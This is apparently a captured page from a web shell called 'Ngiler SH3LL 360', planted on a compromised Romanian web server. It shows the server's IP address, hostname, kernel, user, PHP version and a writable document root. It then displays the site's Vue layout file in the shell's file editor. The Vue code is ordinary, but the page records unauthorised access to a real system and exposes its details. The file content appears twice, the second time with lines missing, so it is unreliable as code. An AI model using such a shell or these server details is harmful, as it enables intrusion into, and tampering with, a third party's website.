ONE PIECE HACKING

Ngiler SH3LL 360
: / home / tbf / newweb.tbf.ro_simple / src / views / Layouts /

Information Server
MySQL : OFF Perl : OFF CURL : ON WGET : OFF PKEXEC : OFF

Directive	Local Value
IP Address	89.40.16.97
System	Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User	tbf
PHP Version	7.3.33
Software	Apache
Doc root	Writable

Edit File : TbfTemplate.vue \| Size : 4.14 KB
<template> <div class="tbf-website" data-scrollbar> <div class="actions-fixed"> <div class="logo top-left"> <router-link :to="{ name: 'Home'}"> <logo /> </router-link> </div> <div class="menu top-right" @click="openMenu"><menu-bars /></div> <div class="share bottom-left"> <div class="share-btn"><share /></div> <div class="list-shares"> <a href="https://www.facebook.com/thebasicfundamentals" target="_blank"><facebook /></a> <a href="https://www.instagram.com/thebasicfundamentals/" target="_blank"><instagram /></a> <a href="https://linkedin.com/company/thebasicfundamentals" target="_blank"><linkedin /></a> </div> </div> <div id="arrowBottomRight" class="bottom-right back" @click="scrollToTop()"><span>Scroll mai jos</span><icon-arrow class="icon-arrow" /></div> </div> <popup-cookies id="popupCookies" v-if="viewPopupCookie" @response_cookie="saveResponseCookie"/> <div v-if="showOverlay" @click="closeMenu" class="overlay-menu"></div> <modal-menu id="modalMenu" @close_menu="closeMenu"/> <modal-subscribe id="modalSubscribe" @close_modal="closeMenu" v-if="showModalSubscribe"/> <div id="apptbf"> <slot></slot> </div> </div> </template> <script> import '@/scss/Tbf/app.scss' import Logo from '@/assets/Tbf/Logo' import MenuBars from '@/assets/Tbf/MenuBars' import IconArrow from '@/assets/Tbf/Arrow' import Share from '@/assets/Tbf/Share' import Facebook from '@/assets/Tbf/logos/Facebook' import Instagram from '@/assets/Tbf/logos/Instagram' import Linkedin from '@/assets/Tbf/logos/Linkedin' import PopupCookies from '@/components/Tbf/PopupCookies' import ModalMenu from '@/components/Tbf/ModalMenu' import ModalSubscribe from '@/components/Tbf/ModalSubscribe' export default { data() { return { viewPopupCookie: false, showOverlay: false, showModalSubscribe: false, activeModal: '' }; }, components: { Logo, MenuBars, IconArrow, Share, Facebook, Instagram, Linkedin, PopupCookies, ModalMenu, ModalSubscribe }, mounted(){ this.scroll() if(this.$route.query.newsletter == "true"){ this.openSubscribeModal(); } this.$root.$on("open_modal_subscribe", () => { this.openSubscribeModal(); }) if(!this.$cookie.get('acceptCookies')){ this.viewPopupCookie = true setTimeout(() => { $('#popupCookies').addClass('active') }, 4000) } }, methods: { scroll () { window.onscroll = () => { let bottomOfWindow = Math.max(window.pageYOffset, document.documentElement.scrollTop, document.body.scrollTop) + (window.innerHeight * 2) >= document.documentElement.offsetHeight if(bottomOfWindow){ document.querySelector('#arrowBottomRight').classList.remove('back') }else{ document.querySelector('#arrowBottomRight').classList.add('back') } } }, saveResponseCookie(value){ $('#popupCookies').removeClass('active') setTimeout(() => { this.$cookie.set('acceptCookies', true, { expires: '1M' }) this.viewPopupCookie = false }, 200) }, scrollToTop(){ if (!document.getElementById('arrowBottomRight').classList.contains('back')) { $("html, body").animate({ scrollTop: 0 }, "slow"); } }, openMenu(){ this.showOverlay = true this.activeModal = 'Menu' setTimeout(() => { $('.overlay-menu').addClass('show') $('#modalMenu').addClass('active') }, 0) }, closeMenu(){ $('#modal' + this.activeModal).removeClass('active') setTimeout(() => { $('.overlay-menu').removeClass('show') setTimeout(() => { this.showOverlay = false; this.showModalSubscribe = false this.activeModal = '' }, 200); }, 200); if(this.$route.query.newsletter == "true"){ let query = Object.assign({}, this.$route.query); delete query.newsletter; this.$router.replace({ query }); } }, openSubscribeModal(){ this.activeModal = 'Subscribe' this.showOverlay = true this.showModalSubscribe = true setTimeout(() => { $('.overlay-menu').addClass('show') setTimeout(() => { $("#modalSubscribe").addClass("active"); }, 200); }, 0); } } } </script> Back

Edit File : TbfTemplate.vue | Size : 4.14 KB

<template>
	<div class="tbf-website" data-scrollbar>
		<div class="actions-fixed">
			<div class="logo top-left">
				<router-link :to="{ name: 'Home'}">
					<logo />
				</router-link>
			</div>
			<div class="menu top-right" @click="openMenu"><menu-bars /></div>
			<div class="share bottom-left">
				<div class="share-btn"><share /></div>
				<div class="list-shares">
					<a href="https://www.facebook.com/thebasicfundamentals" target="_blank"><facebook /></a>
					<a href="https://www.instagram.com/thebasicfundamentals/" target="_blank"><instagram /></a>
					<a href="https://linkedin.com/company/thebasicfundamentals" target="_blank"><linkedin /></a>
				</div>
			</div>
			<div id="arrowBottomRight" class="bottom-right back" @click="scrollToTop()"><span>Scroll mai jos</span><icon-arrow class="icon-arrow" /></div>
		</div>

<popup-cookies id="popupCookies" v-if="viewPopupCookie" @response_cookie="saveResponseCookie"/>

import Share from '@/assets/Tbf/Share'
	import Facebook from '@/assets/Tbf/logos/Facebook'
	import Instagram from '@/assets/Tbf/logos/Instagram'
	import Linkedin from '@/assets/Tbf/logos/Linkedin'

import PopupCookies from '@/components/Tbf/PopupCookies'
	import ModalMenu from '@/components/Tbf/ModalMenu'
	import ModalSubscribe from '@/components/Tbf/ModalSubscribe'

export default {
		data() {
			return {
				viewPopupCookie: false,
				showOverlay: false,
				showModalSubscribe: false,
				activeModal: ''
			};
		},
		components: {
			Logo,
			MenuBars,
			IconArrow,
			Share,
			Facebook,
			Instagram,
			Linkedin,
			PopupCookies,
			ModalMenu,
			ModalSubscribe
		},
		mounted(){
			this.scroll()
			if(this.$route.query.newsletter == "true"){
				this.openSubscribeModal();
			}
			this.$root.$on("open_modal_subscribe", () => {
				this.openSubscribeModal();
			})

if(!this.$cookie.get('acceptCookies')){
				this.viewPopupCookie = true
				setTimeout(() => {
					$('#popupCookies').addClass('active')
				}, 4000)
			}
		},
		methods: {
			scroll () {
				window.onscroll = () => {
					let bottomOfWindow = Math.max(window.pageYOffset, document.documentElement.scrollTop, document.body.scrollTop) + (window.innerHeight * 2) >= document.documentElement.offsetHeight

if(bottomOfWindow){
						document.querySelector('#arrowBottomRight').classList.remove('back')
					}else{
						document.querySelector('#arrowBottomRight').classList.add('back')
					}
				}
			},
			saveResponseCookie(value){
				$('#popupCookies').removeClass('active')
				setTimeout(() => {
					this.$cookie.set('acceptCookies', true, { expires: '1M' })
					this.viewPopupCookie = false
				}, 200)
			},
			scrollToTop(){
				if (!document.getElementById('arrowBottomRight').classList.contains('back')) {
					$("html, body").animate({ scrollTop: 0 }, "slow");
				}
			},
			openMenu(){
				this.showOverlay = true
				this.activeModal = 'Menu'
				setTimeout(() => {
					$('.overlay-menu').addClass('show')
					$('#modalMenu').addClass('active')
				}, 0)
			},
			closeMenu(){
				$('#modal' + this.activeModal).removeClass('active')
				setTimeout(() => {
					$('.overlay-menu').removeClass('show')
					setTimeout(() => {
						this.showOverlay = false;
						this.showModalSubscribe = false
						this.activeModal = ''
					}, 200);
				}, 200);
				if(this.$route.query.newsletter == "true"){
					let query = Object.assign({}, this.$route.query);
					delete query.newsletter;
					this.$router.replace({ query });
				}
			},
			openSubscribeModal(){
				this.activeModal = 'Subscribe'
				this.showOverlay = true
				this.showModalSubscribe = true
				setTimeout(() => {
					$('.overlay-menu').addClass('show')
					setTimeout(() => {
						$("#modalSubscribe").addClass("active");
					}, 200);
				}, 0);
			}
		}
	}
</script>

Back